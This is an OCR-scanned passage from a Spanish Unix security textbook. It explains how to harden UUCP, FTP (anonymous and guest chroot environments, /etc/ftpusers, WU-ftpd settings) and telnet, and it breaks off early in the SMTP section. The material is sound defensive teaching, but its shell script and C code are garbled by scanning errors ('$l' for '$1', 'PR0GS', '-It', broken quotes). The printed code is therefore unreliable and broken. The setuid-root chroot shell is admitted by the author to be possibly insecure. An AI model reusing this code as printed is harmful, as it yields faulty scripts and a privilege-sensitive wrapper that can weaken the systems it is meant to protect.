problemas que dicho usuario pueda generar. Es necesario asegurarse que no se permiten conexiones 
bajo este nombre de usuario, que en su directorio $HOME no existen un fichero . rhosts. . . las 
precauciones habituales con cualquier nombre de usuario de este tipo que tengamos en nuestro sis- 
tema; incluso nos puede interesar sustituir su shell original (si lo tiene) por uno como /bin/false, 
para que un posible atacante que se haga pasar por uucp no tenga posibilidad de ejecutar ordenes 
en la maquina. Si estamos obligados a ofrecer conexiones via UUCP en nuestro sistema, una buena 
referencia para conocer mas detalles de este mecanismo y su seguridad es [OT88] (solo su fecha nos 
da una idea del grado de desuso en que ha caido UUCP); otra excelente fuente de information sobre 
la seguridad - e inseguridad - de UUCP es el capitulo 15 de [GS96]. Una medida de protection basica 
es asignar un login y password diferente para cada sistema que conecte con el nuestro mediante este 
metodo; aparte de incrementar la seguridad - si un atacante averigua una clave solo podra utilizar 
un acceso, no todos - asi conseguimos un mayor refinamiento a la hora de registrar los eventos que se 
produzcan en nuestro sistema, lo que es muy util de cara a perseguir un abuso del servicio por parte 
de usuarios no autorizados. Ademas, en situaciones extremas podemos configurar los modems para 
realizar un callback cuando reciben una petition, lo que asegura que estamos llamando al sistema 
deseado y no a otro - siempre que un atacante no haya podido modificar esos numeros -. 


11.3 El servicio FTP 


ftp ( File Transfer Protocol , puerto 21 tcp) es, como su nombre indica, un protocolo de transfe- 
rencia de ficheros entre sistemas. Desde un equipo cliente conectamos a un servidor para descargar 
ficheros desde el - lo habitual - o para enviarle nuestros propios archivos. 
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Un problema basico y grave cle FTP es que esta pensado para ofrecer la maxima velocidad en 
la conexion, pero ni mucho menos para ofrecer la maxima seguridad; todo el intercambio de in- 
formacion, desde el login y password del usuario en el servidor hasta la transferencia de cualquier 
fichero, se realiza en texto claro, con lo que un atacante lo tiene muy facil para capturar todo ese 
trafico y conseguir asi un acceso valido al servidor. Incluso puede ser una amenaza a la privacidad 
de nuestros datos el hecho de que ese atacante tambien pueda capturar y reproducir los ficheros 
transferidos. Para solucionar este problema es conveniente concienciar a nuestros usuarios de la 
utilidad de aplicaciones como scp y sftp, incluidas en el paquete SSH, que permiten transferir 
ficheros pero cifrando todo el trafico; de esta forma, son el mejor sustituto de ftp. 

Parece evidente que la conexion ftp a nuestro sistema ha de estar restringida a los usuarios que 
realmente lo necesiten: por ejemplo, un usuario como root en principio no va a necesitar utilizar 
este servicio, ya que por lo general va a trabajar en consola; otros usuarios considerados ‘del sis- 
tema’ (donde se incluye por ejemplo a postmaster, bin, uucp, shutdown, daemon. . . ) tampoco 
necesitaran hacer uso de ftp. Podemos indicar este tipo de usuarios a los que no les esta permitida 
una conexion via ftp a nuestra maquina en /etc/ftpusers, con un nombre por lfnea; un ejemplo 
de este fichero es el siguiente: 

luisa:~# cat /etc/ftpusers 
halt 

operator 

root 

shutdown 

sync 

bin 

daemon 

adm 

IP 

mail 

postmaster 

news 

uucp 

man 

games 

guest 

postgres # 1 postgres’ NO hace ftp 

nobody 

inferno 

luisa: ~# 

11.3.1 FTP anonimo 

Los problemas relacionados con la seguridad del servicio ftp son especialmente preocupantes cuan- 
do se trata de configurar un servidor de ftp anonimo; muchos de estas maquinas situadas en 
universidades espaholas se convierten en servidores de imagenes pornograficas o de warez (copias 
ilegales de programas comerciales). Conseguir un servidor de FTP anonimo seguro puede llegar a ser 
una tarea complicada: incluso en las paginas de ayuda de algunas variantes de Unix (como Solaris) 
se trata de facilitar el proceso para el administrador mediante un shellscript que - por defecto - 
presenta graves problemas de seguridad, ya que deja una copia del fichero de claves del sistema 
como un archivo de acceso publico y anonimo. 

Para configurar correctamente un servidor de este tipo necesitamos en primer lugar crear al usuario 
ftp en /etc/passwd y /etc/shadow, asi como su directorio de conexion (algunos Unices, como 
Linux, ya incorporan esto al instalar el sistema). Este directorio ha de pertenecer a root (ningun 
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fichero o subdirectorio ha de pertenecer nunca a ftp) y al grupo al que pertenece ftp: con esto 
conseguimos que los permisos de propietario sean para el administrador y los de grupo para los 
usuarios anonimos; estos permisos seran 555. 

Dentro del $HOME de ftp hemos de crear el arbol de directories minimo para poder trabajar 
correctamente; esto es debido a la llamada a chrootO que se utiliza en los accesos anonimos, 
que permite a esos usuarios ver el directorio raiz de su conexion en el directorio real ~ftp/. Al 
menos dos directories son necesarios: etc/ y bin/, ambos propiedad de root y con modo 111. En 
el primero de ellos hemos de crear un fichero passwd y otro group, utilizados no con propositos 
de autenticacion sino para visualizar el propietario y grupo de cada fichero en el entorno sobre 
el que se ha aplicado chrootO al ejecutar Is: por tanto, no hace falta ninguna contrasena en 
ese fichero passwd, y solo ha de contener entradas para los usuarios que posean ficheros bajo la 
jerarquia de ftp, como root; de la misma forma, el fichero group solo ha de contener las entradas 
correspondientes a grupos que posean ficheros en dicha jerarquia: 

anita:~# cat /export/home/ftp/etc/passwd 

root : * :0: 1 :E1 Spiritu Santo :/: /sbin/sh 

anita:~# cat /export/home/ftp/etc/group 

root : : 0 : 

other : : 1 : 

daemon : : 2 : 

ftp : : 30000 : 

anita: ~# 

Como vemos, el usuario ftp tiene un shell denominado /bin/false; aunque aquf no tiene ningun 
efecto, en el archivo de contrasenas real de la maquina esto es util para prevenir que dicho usuario 
pueda conectar mediante telnet o similar. 

Por su parte, en el otro directorio que hemos creado (bin/) hemos de almacenar una copia del 
programa Is, de forma que los usuarios puedan listar los contenidos de los directories cuyos per- 
misos lo permitan; si utilizamos una version estatica del programa, como hace por ejemplo Linux, 
no hemos de configurar nada para que la aplicacion funcione, pero si en cambio utilizamos un 
Is dinamico (como SunOS o Solaris) hemos de crear el directorio lib/ dentro de ~ftp/ y copiar 
en el las librerias necesarias para que el programa funcione (podemos ver de cuales se trata con ldd) . 

Con estos pasos ya tenemos configurada la base de nuestro servidor de ftp anonimo; no obstante, 
es habitual crear dos directories mas, uno denominado pub/ y otro incoming/, dentro de la misma 
jerarquia que los anteriores (esto es, en el SHOME del usuario ftp). El primero suele contener 
directories con todos los ficheros que deseemos ofrecer a los usuarios anonimos; su modo ha de ser 
555, o 2555 en los sistemas que utilicen el bit setgid en un directorio para que sus subdirectories y 
ficheros hereden el grupo del propietario. El directorio incoming es justo lo contrario: sirve para 
que esos usuarios anonimos puedan enviar archivos a nuestra maquina. Y es aqui donde suelen co- 
menzar muchos problemas: al permitir el upload de software, es posible que algunos piratas utilicen 
nuestra maquina para crear servidores warez, subiendo programas comerciales a este directorio y 
luego indicando su localization exacta a otras personas, para que los puedan descargar. Por tanto, 
los permisos de incoming son vitales para nuestra seguridad (incluso si no deseamos que los usua- 
rios anonimos nos envfen ficheros podemos borrar este directorio): esos permisos han de ser 1733, 
y el propietario del directorio es el root. ^Para que ponemos el bit de permanencia? Muy sencillo: 
para que los usuarios no puedan sobreescribir o borrar ficheros existentes; aunque la mayorfa de 
servidores FTP no permiten a los usuarios anonimos sobreescribir ficheros, si no pusieramos este 
modo un usuario normal del sistema si que podria hacerlo. 

El siguiente shellscript puede utilizarse para configurar comodamente un entorno restringido desti- 
nado a los usuarios de FTP anonimo siguiendo las directrices que acabamos de comentar; funciona 
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correctamente (en teoria) sobre Solaris, Linux y AIX 3 . A1 igual que sucede con muchas tareas au- 
tomatizadas, conviene repasar manualmente la estructura de directories y ficheros creados para 
comprobar que todo es como esperabamos: 

anita:~# cat /usr/local/sbin/creaentorno 
# ! /bin/ sh 

# Script para crear un entorno chroot () eado . 

# Funciona OK en Linux, Solaris y AIX. 

# 

# Esta variable es una lista con los programas que necesitamos en el 

# entorno restringido. 

PR0GS=" /bin/ls " 

# Imprime modo de uso 

if (test $# -It 1); then 

echo "Usage: $0 /path/to/chroot-environment" 
exit 
fi 

# Detectamos cion de Unix 
0S=‘uname -s 1 

# Creamos estructura de directories 

echo "Creando estructura de directories para $0S" 
if [ ! -d $1 ] ; then 
mkdir -p $1 
fi 

chown root $1 

for i in bin etc; do 

if [ ! -d $l/$i ] ; then 
mkdir -p $l/$i 
fi 

chown root $l/$i 

done 

# En funcion del Unix, la estructura sera una u otra. . . 
if [ $0S = "Linux" ] ; then 

if [ ! -d $l/lib ] ; then 
mkdir -p $l/lib 
fi 

chown root $l/lib 
fi 

if ( test $0S = "SunOS" I I test $0S = "AIX" ) ; then 
if [ ! -d $l/usr/lib ] ; then 
mkdir -p $l/usr/lib 
fi 

chown root $l/usr/lib 
cd $1 

In -s ./usr/lib $l/lib 
fi 

# Instalamos programas y las librerias que necesitan 
echo "Instalando programas y librerias..." 

for i in $PR0GS; do 

if [ ! -f $l/$i ] ; then 
cp $i $l/bin 
fi 


3 En este ultimo es necesario instalar la utilidad ldd, que por defecto no se distribuye con el operativo. 
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chmod 111 $l/bin 

chown root $l/bin 

if [ $0S = "AIX" ] ; then 

for j in ‘ldd $i|awk -F"(" 3 -Cif (NR ! =1 ) print $ 1}- 3 c ; do 
if [ ! -f $l/$j ] ; then 
cp $j $l/lib 
fi 

chown root $l/$j 

done 

else 

for j in ‘ldd $i|awk ’{print $3}’‘; do 
if [ ! -f $l/$j ] ; then 
cp $j $l/lib 
fi 

chown root $l/$j 

done 

fi 


done 

# Estos ficheros quizas sea necesario retocarlos a mano, en funcion del tipo 

# de entorno restringido que fabriquemos. 

# Generamos PASSWD 

echo "Generando /etc/passwd. . . " 

awk -F: ’$l=="root" {print $1" : * : "$3" : "$4" : "$5" : "$6" : "$T> ’ /etc/passwd >\ 
$l/etc/passwd 

awk -F: ’$l=="bin" {print $1" :*: "$3" : "$4" : "$5" : "$6" : "$7}’ /etc/passwd»\ 
$l/etc/passwd 

awk -F: ’ $l=="daemon" {print $1" "$3" : "$4" : "$5" : "$6" : "$7}’ /etc/passwd»\ 

$l/etc/passwd 

chmod 444 $l/etc/passwd 

chown root $l/etc/passwd 

# Quizas hay que anyadir otros grupos que nos interesen 

# Generamos GROUP con algunas entradas 
echo "Generando /etc/group..." 

awk -F : ’$l=="root" {print $1" : * : "$3" : "$4} ’ /etc/group>$l/etc/group 
awk -F : ’$l=="bin" {print $1" "$3" : /etc/group>>$l/etc/group 
awk -F : ’ $l=="daemon" {print $1" : * : "$3" : "} ’ /etc/group>>$l/etc/group 
chmod 444 $l/etc/group 
chown root $l/etc/group 

# Generamos pub/ e incoming/ 

echo "Generando pub/ e incoming/..." 
if [ ! -d $l/pub ] ; then 
mkdir -p $l/pub 
fi 

chmod 2555 $l/pub 
chown root $l/pub 
if [ ! -d $l/incoming ] ; then 
mkdir -p $l/incoming 
fi 

chmod 1733 $l/incoming 
chown root $l/incoming 

# Si estamos en Solaris, aun no hemos acabado 
if [ $0S = "SunOS" ] ; then 

# Mas librerias 

echo "$0S: Instalando librerias..." 
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for i in ld.so.l libc.so.l libdl.so.l libmp.so.2 libnsl.so.l \ 
libsocket . so . 1 nss_compat . so . 1 nss_dns.so.l nss_f iles . so . 1 \ 
nss_nis.so.l nss_nisplus . so . 1 nss_xfn.so.l straddr.so \ 
straddr . so . 2 ; do 

cp /usr/lib/$i $l/usr/lib 

done 

if [ ! -d $l/dev ] ; then 
mkdir -p $l/dev 
fi 

chown root $l/dev 

# Generamos dispositivos 

echo "$0S: Generando dispositivos..." 

for i in /dev/zero /dev/tcp /dev/udp /dev/ticotsord; do 
MAJ0R =I ls -1L $i|awk ’{print $5}’|sed s/","//g < 

MIN0R= 1 Is -1L $i I awk ’{print $6}’‘ 

TYPE= ' Is -1L $i I cut -cl-1' 
mknod $l/$i $TYPE $MAJ0R $MIN0R 

done 

chmod 666 $l/dev/* 
fi 

echo "FIN" 

# FIN de Solaris 
anita: ~# 

Algunos problemas relacionados con incoming/ provienen de los permisos con que se crean sus 
ficheros y subdirectories: aunque los usuarios anonimos no puedan leer el directorio, con algunos 
servidores ftpd si que es posible que puedan leer los ficheros contenidos en el (y sus subdirectories), 
con lo que sigue siendo posible acceder a los archivos conociendo su nombre exacto; para evitar este 
problema, muchos administradores planifican un sencillo shellscript para que cada cierto tiempo 
mueva los contenidos de incoming a otro lugar, fuera del alcance de los usuarios anonimos (por 
ejemplo, un subdirectorio con modo 000 de /tmp/). Ciertos servidores, como WU-ftpd, tienen un 
fichero de configuration (/etc/ftpaccess) donde indicar - entre otras cosas - los modos con que 
se van a crear entradas en incoming/. 

Un ataque tipico a los servidores de ftp es una negacion de servicio llenando todo el espacio 
disponible para el upload de ficheros; para minimizar las consecuencias de este ataque, es conve- 
niente situar el directorio ~ftp/ en una partition separada del resto del sistema de ficheros, donde 
solo se encuentre dicho directorio; algunos demonios permiten directamente limitar la cantidad de 
ficheros subidos al servidor en cada sesion. 

Otra negacion de servicio muy habitual contra los servidores de FTP anonimo es obligar a las 
maquinas a consumir una excesiva cantidad de CPU, ralentizando el sistema hasta que la calidad 
de servicio es muy baja; esto se produce en servidores que permiten descargar directories completos 
como un unico archivo, empaquetados con tar y/o comprimidos con gzip. Veamos un ejemplo 
extraido de una sesion de FTP anonimo: 

ftp> pwd 

257 "/pub/utils" is current directory. 
ftp> Is 

200 PORT command successful. 

150 Opening ASCII mode data connection for /bin/ls. 
total 377 

drwxr-xr-x 2 root root 1024 Sep 18 22:28 . 

drwxrwxr-x 3 root wheel 1024 Sep 18 22:28 .. 

-rw-r — r — 1 root root 163519 Sep 18 22:28 transf ig-3 . 1 . 2 . tar . gz 
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-rw-r — r — 1 root root 217850 Sep 18 22:27 tth_C.tgz 

226 Transfer complete. 
ftp> cd . . 

250 CWD command successful. 
ftp> pwd 

257 "/pub" is current directory. 
ftp> Is 

200 PORT command successful. 

150 Opening ASCII mode data connection for /bin/ls. 
total 3 


drwxrwxr-x 

3 

root 

wheel 

1024 Sep 

18 

22:28 . 

drwxrwxr-x 

8 

root 

wheel 

1024 Aug 

1 

1994 . . 

drwxr-xr-x 

2 

root 

root 

1024 Sep 

18 

22:28 utils 


226 Transfer complete. 
ftp> get utils. tar. gz 

local: utils. tar. gz remote: utils. tar. gz 
200 PORT command successful. 

150 Opening BINARY mode data connection for /bin/tar. 

226 Transfer complete. 

381369 bytes received in 1.07 secs (3.5e+02 Kbytes/sec) 
ftp> 

Como podemos ver, acabamos de descargar un directorio complete empaquetado y comprimido 
sin mas que anadir al nombre de dicho directorio la extension .tar.gz (o simplemente .tar si no 
hubieramos querido comprimirlo) . Evidentemente esto resulta muy litil en determinadas situacio- 
nes pero, /nos hemos parado a pensar que sucederia si alguien intentara descargar el directorio 
/pub. tar.gz en un servidor con unos cuantos Gigabytes de ficheros? La carga del sistema creceria 
muchi'simo, ya que estamos empaquetando y comprimiendo un archivo de grandes dimensiones; si 
ahora extendemos esto a varios usuarios que ejecutan la misma orclen simultaneamente podemos 
hacernos una idea de la sobrecarga introducida en la maquina: una razon mas que suficiente para 
tener cuidado con los directories que permitimos descargar de esta forma. . . 

Por Ultimo, es una buena idea mostrar un mensaje cuando los usuarios anonimos conectan a nues- 
tra maquina donde se indiquen claramente los fines del sistema y la atencion a su uso indebido; 
este mensaje puede sernos util tanto con fines jurfdicos (asf el atacante no podra argumentar que 
desconocia la finalidad del sistema) como con fines disuasorios: si el pirata se da cuenta de que 
nos preocupamos por la seguridad de nuestro servidor, es posible que lo abandone y busque otro 
menos protegido. Por ejemplo, si utilizamos WU-ftpd , en ~ftp/welcome .msg podemos escribir el 
mensaje mostrado al conectar al sistema, y en diferentes ficheros .message el mensaje que se vuelca 
a acceder a un directorio (estos nombres son configurables en /etc/ftpaccess). Un ejemplo del 
mensaje de entrada puede ser el siguiente: 


anita:~# cat /export/home/ftp/welcome.msg 

* * * ANITA * * * 

BienvenidOs a ANITA 

Esta maquina es propiedad de la Universidad Politecnica de Valencia y 
sus fines son exclusivamente academicos y de investigacion. Cualquier 
otro uso sera perseguido y castigado con el maximo rigor. 

Cualquier actividad realizada en, desde o hacia este sistema esta 
sujeta a monitorizacion sin previo aviso. 


anita: ~# 



11.3. EL SERVICED FTP 

11.3.2 FTP invitado 


185 


Hasta ahora hemos visto dos formas de transferir ficheros desde una maquina Unix mediante FTP: 
o bien el usuario conecta utilizando su login y su clave al sistema y descarga de el cualquier archivo 
sobre el que tenga permiso de lectura, de cualquier parte del sistema de ficheros, o bien accede a 
un entorno restringido mediante chrootO como usuario anonimo, con un login generico y usando 
como contraseha una direccion de correo - seguramente falsa En muchas ocasiones, estos modelos 
pueden resultar insuficientes o al menos poco adecuados a nuestras necesidades. 

Imaginemos esta situacion: un proveedor de acceso a Internet decide ofrecer a sus clientes la posi- 
bilidad de actualizar sus paginas web personales mediante ftp, de forma que cada uno de ellos no 
tiene mas que conectar con su nombre de usuario y su contraseha al servidor y subir sus ficheros 
HTML; dichos login y password seran por supuesto diferentes para cada usuario, por lo que parece 
claro que un entorno de ftp anonimo no es aplicable - al menos de forma inmediata - en esta 
situacion. El ftp ‘normal’ funcionaria correctamente, pero su utilization tampoco es optima: si un 
usuario no necesita acceder mas que a su $HOME para actualizar sus paginas, ipor que permitirle 
que vea todo nuestro sistema de ficheros, aunque sea via FTP, y que pueda clescargar archivos tan 
comprometedores como /etc/passwd? 

Los potenciales problemas de seguridad que la situacion anterior implica han dado lugar a un 
tercer tipo de acceso ftp denominado invitado {guest), que se puede contemplar como una mezcla 
de los dos vistos hasta el momento. La idea de este mecanismo es muy sencilla: se trata de per- 
mitir que cada usuario conecte a la maquina mediante su login y su contraseha, pero evitando que 
tenga acceso a partes del sistema de ficheros que no necesita para realizar su trabajo; conectara a 
un entorno restringido mediante chroot () , algo muy similar a lo que sucede en los accesos anonimos. 

Para poder crear facilmente entornos ftp restringidos a cada usuario es conveniente instalar WU- 
ftpd en la maquina; este servidor esta disponible libremente a traves de Internet, en la direccion 
ftp://ftp.wu-ftpd.org/pub/wu-ftpd/. Otros servidores, como el distribuido con Solaris, permi- 
ten crear usuarios ftp invitados pero de una forma mas compleja; en los ejemplos que veamos en 
este punto vamos a asumir que utilizamos WU-ftpd. 

Lo primero que necesitamos para configurar el entorno al que van a conectar este tipo de usuarios 
es una estructura de directories y archivos muy similar a la que hemos estudiado para los accesos 
a traves de ftp anonimo, pero esta vez colgando del directorio de conexion del usuario invitado; 
con unas pequenas variaciones, podemos utilizar para crear este entorno el shellscript que hemos 
presentado en el punto anterior. Asi, si queremos que nuestro usuario toni acceda como invitado 
via ftp podemos crear esta estructura en su $HOME: 

anita:~# /usr/local/sbin/creaentorno /export/home/toni 

Creando estructura de directories para SunOS 

Instalando programas y librerias... 

Generando /etc/passwd... 

Generando /etc/group... 

Generando pub/ e incoming. . . 

SunOS: Instalando librerias... 

SunOS: Generando dispositivos . . . 

FIN 

anita: ~# 

Realmente, son necesarias pequenas modificaciones sobre el esquema anterior para que todo fun- 
cione correctamente; por un lado, los directories pub/ e incoming/ no son necesarios en los accesos 
como invitado, ya que a priori los usuarios que accedan de esta forma necesitaran escribir en varios 
directories del entorno. Ademas, quizas nos interese repasar los permisos de toda la jerarquia de 
directories creada, para afinar mas los lugares en los que se les permita escribir a los usuarios; por 
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ejemplo, si solo van a subir archivos a un directorio $HOME/public_html/, donde se ubicaran sus 
paginas web , no tienen por que escribir en el resto del entorno. De la misma forma, si el directorio 
$HOME es propiedad de cada usuario quizas pueda borrar archivos como lib, que es un enlace a 
usr/lib/, lo que puede llegar a comprometer nuestra seguridad. 

Otro punto a tener en cuenta es quien va a poseer ficheros dentro del entorno restringido, ya 
que esos usuarios y sus grupos deberan tener una entrada en los archivos etc/passwd y etc/group; 
como sucedfa con los usuarios anonimos, estos ficheros no se van a usar aqui para realizar autenti- 
cacion, sino simplemente para ver los nombres del usuario y grupo propietarios de cada fichero al 
realizar un listado, por lo que en ninguno de ellos es necesaria una contraseha real: basta con un 
asterisco en el campo correspondiente. 

Una vez que hemos creado correctamente el entorno es necesario configurar el acceso del usua- 
rio en cuestion. Generalmente no nos interesara que acceda por telnet o similar, por lo que su 
shell en /etc/passwd (el original de la maquina, no el del entorno restringido) ha de ser algo como 
/bin/false. Es necesario que exista una entrada para este shell en /etc/shells, ya que de lo 
contrario el usuario no podra autenticarse; si este ultimo archivo no existe, es necesario crearlo. Su 
directorio $HOME, indicado en /etc/passwd, tambien ha de ser modificado de la siguiente forma: 

toni : x : 1002 : 10 : Toni at ANITA : /export/home/toni/ ./: /bin/sh 

Como vemos, se ahade ‘ / ■/’ al directorio SHOME del usuario. Esta cadena indica donde se va a 
efectuar el chrootO (por ejemplo, si quisieramos que el chrootO se hiciera sobre /export /home/ 
y tras esta llamada el usuario entrara a su directorio toni, lo indicariamos como 

/export/home/ . /toni/). 

Tras modificar /etc/passwd hemos de modificar /etc/group para incluir al usuario 'toni’ en 
un grupo que luego definiremos como invitado, por ejemplo ‘rftp’: 

anita:~# grep toni /etc/group 
rftp : : 400 : toni 
anita: ~# 

Ahora falta por configurar el archivo /etc/ftpaccess; hemos de indicarle al demonio que utilice 
este fichero (por ejemplo, mediante la option ‘-a’). En el clefinimos el grupo 'guest 1 en las clases 
apropiadas: 

class local real, guest, anonymous *. domain 0.0. 0.0 
class remote real, guest, anonymous * 

Tambien le damos a los usuarios ‘guest ’ los permisos que consideremos oportunos; habitualmente, 
interesara que puedan borrar, sobreescribir y renombrar sus archivos. Pero no es normal que 
necesiten ejecutar cambios en los modos de los ficheros o en su mascara de permisos: 

delete no anonymous # delete permission? 

overwrite no anonymous # overwrite permission? 

rename no anonymous # rename permission? 

chmod no anonymous , guest # chmod permission? 

umask no anonymous , guest # umask permission? 

Y por ultimo, tambien en /etc/ftpaccess, clefinimos al grupo ‘rftp’ como invitado: 

guestgroup rftp 

Una vez llegados a este punto el usuario ya esta en disposition de conectar como invitado via FTP; 
aunque realmente accedera a su $HOME, para el sera el directorio rafz, y no vera ningun archivo 
del sistema que no se encuentre en este directorio. 
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Antes de finalizar, un ultimo apunte: el entorno restringido que acabamos de ver solo se aplica 
para accesos por FTP; asf, si el usuario tiene definido un shell estandar en /etc/passwd, cuando co- 
necte mediante telnet o similar seguira teniendo acceso a todo el sistema de ficheros, por lo que todo 
el trabajo que hemos realizado perderia su sentido. Aunque en el siguiente punto daremos alguna 
idea para crear entornos restringidos en los accesos por terminal remota, esta situation es mucho 
mas extraiia que la de los accesos invitados, por lo que normalmente (y esto es muy importante) 
los shells de los usuarios invitados han de ser del tipo /bin/false, es decir, no les permitiremos 
una sesion interactiva en el sistema por terminal remota. Con un shell de este estilo, si intentan 
acceder a la maquina (por ejemplo mediante telnet), nada mas introducir correctamente su login y 
su password seran desconectados: 

luisa:~# telnet anita 

Trying 195.195.5.3... 

Connected to anita. 

Escape character is 

SunOS 5.7 

login: toni 

Password : 

Connection closed by foreign host. 

luisa: ~# 


11.4 El servicio TELNET 

El protocolo telnet (tcp, puerto 23) permite utilizar una maquina como terminal virtual de otra 
a traves de la red, de forma que se crea un canal virtual de comunicaciones similar - pero mucho 
mas inseguro - a utilizar una terminal fisicamente conectada a un servidor; la idea es sencilla: 
estamos accediendo remotamente en modo texto a un equipo - en principio potente - igual que si 
estuvieramos utilizando su consola o una de sus terminates ffsicas, lo que nos permite aprovechar 
toda su potencia de calculo si necesidad de desplazarnos hasta la ubicacion de ese servidor, sino 
trabajando comodamente desde nuestro propio equipo. 

telnet es el clasico servicio que hasta hace unos aiios no se solia deshabilitar nunca: no es habi- 
tual adquirir una potente maquina corriendo Unix y permitir que solo se trabaje en ella desde su 
consola; lo mas normal es que este servicio este disponible para que los usuarios puedan trabajar 
remotamente, al menos desde un conjunto de maquinas determinado. Evidentemente, reducir al 
minimo imprescindible el conjunto de sistemas desde donde es posible la conexion es una primera 
medida de seguridad; no obstante, no suele ser suficiente: recordemos que telnet no utiliza ningun 
tipo de cifrado, por lo que todo el trafico entre equipos se realiza en texto claro. Cualquier atacante 
con un analizador de red (o un vulgar sniffer ) puede capturar el login y el password utilizados en 
una conexion; el sniffing siempre es peligroso, pero mas aun en sesiones telnet en las que trans- 
mitimos nombres de usuarios y contrasenas: estamos otorgando a cualquiera que lea esos datos un 
acceso total a la maquina destino, bajo nuestra identidad. Por tanto, es muy recomendable no 
utilizar telnet para conexiones remotas, sino sustituirlo por aplicaciones equivalentes pero que 
utilicen cifrado para la transmision de datos: SSH o SSL-Telnet son las mas comunes. En estos 
casos necesitamos ademas de la parte cliente en nuestro equipo, la parte servidora en la maquina 
remota escuchando en un puerto determinado. 

Aparte del problema de los atacantes esnifando claves, los demonios telnetd han sido tambien 
una fuente clasica de problemas de programacion (se puede encontrar un excelente repaso a algunos 
de ellos en el capitulo 29 de [Ano97]); basicamente, cualquier version de este clemonio que no este 
actualizada es una potential fuente de problemas, por lo que conviene conseguir la ultima version 
de telnetd para nuestro Unix particular, especialmente si aun tenemos una version anterior a 1997. 
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Otros problemas, como la posibilidad de que un atacante consiga recuperar una sesion que no ha 
sido cerrada correctamente, el uso de telnet para determinar que puertos de un host estan abiertos, 
o la utilization del servicio telnet (junto a otros, como ftp) para averiguar el cion de Unix concreto 
(version de kernel incluida) que un servidor utiliza, tambien han hecho famosa la inseguridad de 
este servicio. 

Antes hemos hablado de la configuration de un entorno restringido para usuarios ftp invitados, que 
accedian mediante su login y su contraseha pero que no veian la totalidad del sistema de ficheros 
de nuestra maquina. Es posible - aunque ni de lejos tan habitual - hacer algo parecido con ciertos 
usuarios interactivos, usuarios que conectaran al sistema mediante telnet utilizando tambien su login 
y su password , pero que no veran el sistema de ficheros completo: solo la parte que a nosotros nos 
interese (en principio). 

Para que un usuario acceda mediante telnet a un entorno restringido con chrootO necesitamos 
en primer lugar un entorno parecido al que hemos visto antes: a partir de su directorio $HOME, 
una serie de subdirectories bin/, lib/, etc/. . .Dentro de este ultimo existira al menos un fichero 
group y otro passwd (igual que sucedia antes, no se usan con propositos de autenticacion, por 
lo que no es necesario - ni recomendable que existan claves reales en ninguno de ellos). En el 
directorio bin/ incluiremos los ejecutables que queremos que nuestro usuario pueda ejecutar, y en 
lib/ (o usr/lib/) las librerias que necesiten; si usamos el shellscript anterior de nuevo, con 
alguna pequena modification - para crear este entorno, en la variable SPROGS podemos clefinir 
tales ejecutables para que automaticamente se copien junto a las librerias necesarias en el directorio 
correspondiente : 

PROGS="/bin/ls /bin/sh" 

Finalmente, en el archivo /etc/passwd real hemos de definir un shell para el usuario como el 
siguiente: 

luisa:~# cat /home/toni/prog/ shell . c 
#include <stdio.h> 

#include <stdlib.h> 

#include <unistd.h> 

#include <sys/types .h> 

#include <pwd.h> 

#define SHELL "/bin/sh" 

int main(){ 

struct passwd *entry=(struct passwd *)malloc(sizeof (struct passwd)); 

char * const ARGS [2] ={SHELL , NULL} ; 

while ( (entry=getpwent () ) ->pw_uid ! =getuid() ) ; 

endpwent () ; 

if (chdir (entry->pw_dir)<0) perror ("chdirO ") ; 
if (chroot (entry->pw_dir) <0) perror ("chroot () ") ; 
if (setuid(getuid() )<0) perror ("setuidO ") ; 
if (execvp( SHELL, ARGS) <0) perror ("execvpO ") ; 

// No alcanzado 
return (0) ; 

> 

luisa: ~# 

Este codigo, convenientemente compilado, sera el shell real del usuario restringido; como vemos, 
obtiene el directorio $HOME del mismo, hace un chrootO a el, y ejecuta en este entorno el shell 
secundario (bin/sh, que realmente sera $HDME/bin/sh). Para que el chrootO sea correcto el pro- 
grama ha de estar setuidado bajo la identidad de root (solo el superusuario puede realizar esta 
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llamada), con los riesgos que esto implica; al contrario de lo que diria Knuth, yo solo defiendo que 
el codigo anterior funciona, no que sea correcto. . . o seguro :) 

Si tenemos que crear un entorno como este para usuarios interactivos hemos de tener en cuen- 
ta ciertas medidas de seguridad relativas a los ejecutables que situemos - o que permitamos situar 
- en dicho entorno. Para empezar, hemos de evitar a toda costa los ejecutables setuidados, asi 
como las llamadas mknodO, chmodO o la propia chrootO; ademas, no debe ser posible obtener 
privilegios de administrador dentro del entorno restringido, ya que para el root estas restricciones 
pierclen su sentido: no tenemos mas que pensar que si un usuario con privilegios de root dentro del 
entorno es capaz de generar un dispositivo que represente un disco duro, con algo tan sencillo como 
la utilidad mknod, automaticamente accedera a la totalidad de ese disco, olvidando ya el chrootO 
y la potential protection que pueda ofrecernos. Algo similar ocurre con la memoria del sistema, 
ciertos dispositivos ffsicos, o estructuras de clatos del niicleo: si esto es accesible desde el entorno 
restringido, es muy probable que nuestra seguridad se vea rota tarde o temprano (mas bien tem- 
prano). Tampoco es aconsejable permitir la ejecucion de compiladores de C o de interpretes de Perl. 

Como hemos dicho, este tipo de entornos es mucho menos habitual que los de FTP, aparte de 
bastante mas peligrosos. Una tarea tan habitual como cambiar la contraseha no es posible - al 
menos de forma trivial - en este entorno (aunque podrfamos modificar el codigo anterior para que 
se ofrezca al usuario esta posibilidad antes de situarlo en el entorno restringido). lY que sucede si 
necesitamos que el usuario acceda no a un solo directorio, sino a dos? Las soluciones - al menos 
las seguras - no son inmediatas. 


11.5 El servicio SMTP 

El servicio SMTP ( Simple Mail Transfer Protocol , puerto 25 TCP) se utiliza para transferir correo 
electronico entre equipos remotos; estas maquinas pueden ubicarse fisicamente en la misma sala, 
en la misma universidad, o en la otra parte del mundo, a miles de kilometres de distancia. Este 
servicio suele ser atendido por un demonio denominado sendmail, que ha sido uno de los que mas 
problemas de seguridad ha tenido a lo largo de la historia de Unix; y no es para menos: se trata 
de un software muy complejo y potente - incluso demasiado para las necesidades de la mayoria de 
servidores por lo es inevitable que en su codigo existan bugs', para hacernos una idea del grado de 
complejidad de sendmail simplemente tenemos que echarle un vistazo a su fichero de configuration 
principal, /etc/sendmail.cf. Existen incluso libros casi dedicados exclusivamente a este archivo 
([CA97a], [CA97b]. . . ). 

Una medida de protection basica para nuestro servicio SMTP, y que muchos administradores des- 
conocen, es la posibilidad de servir sendmail desde inetd en lugar de hacerlo como un demonio 
independiente, y por tanto poder restringir el acceso al mismo mediante TCP Wrappers. En la 
mayoria de organizations existe un servidor de correo principal que es el encargado de recoger el 
mail para todas las direcciones upv.es’; el resto de equipos solo recibiran correo desde este 

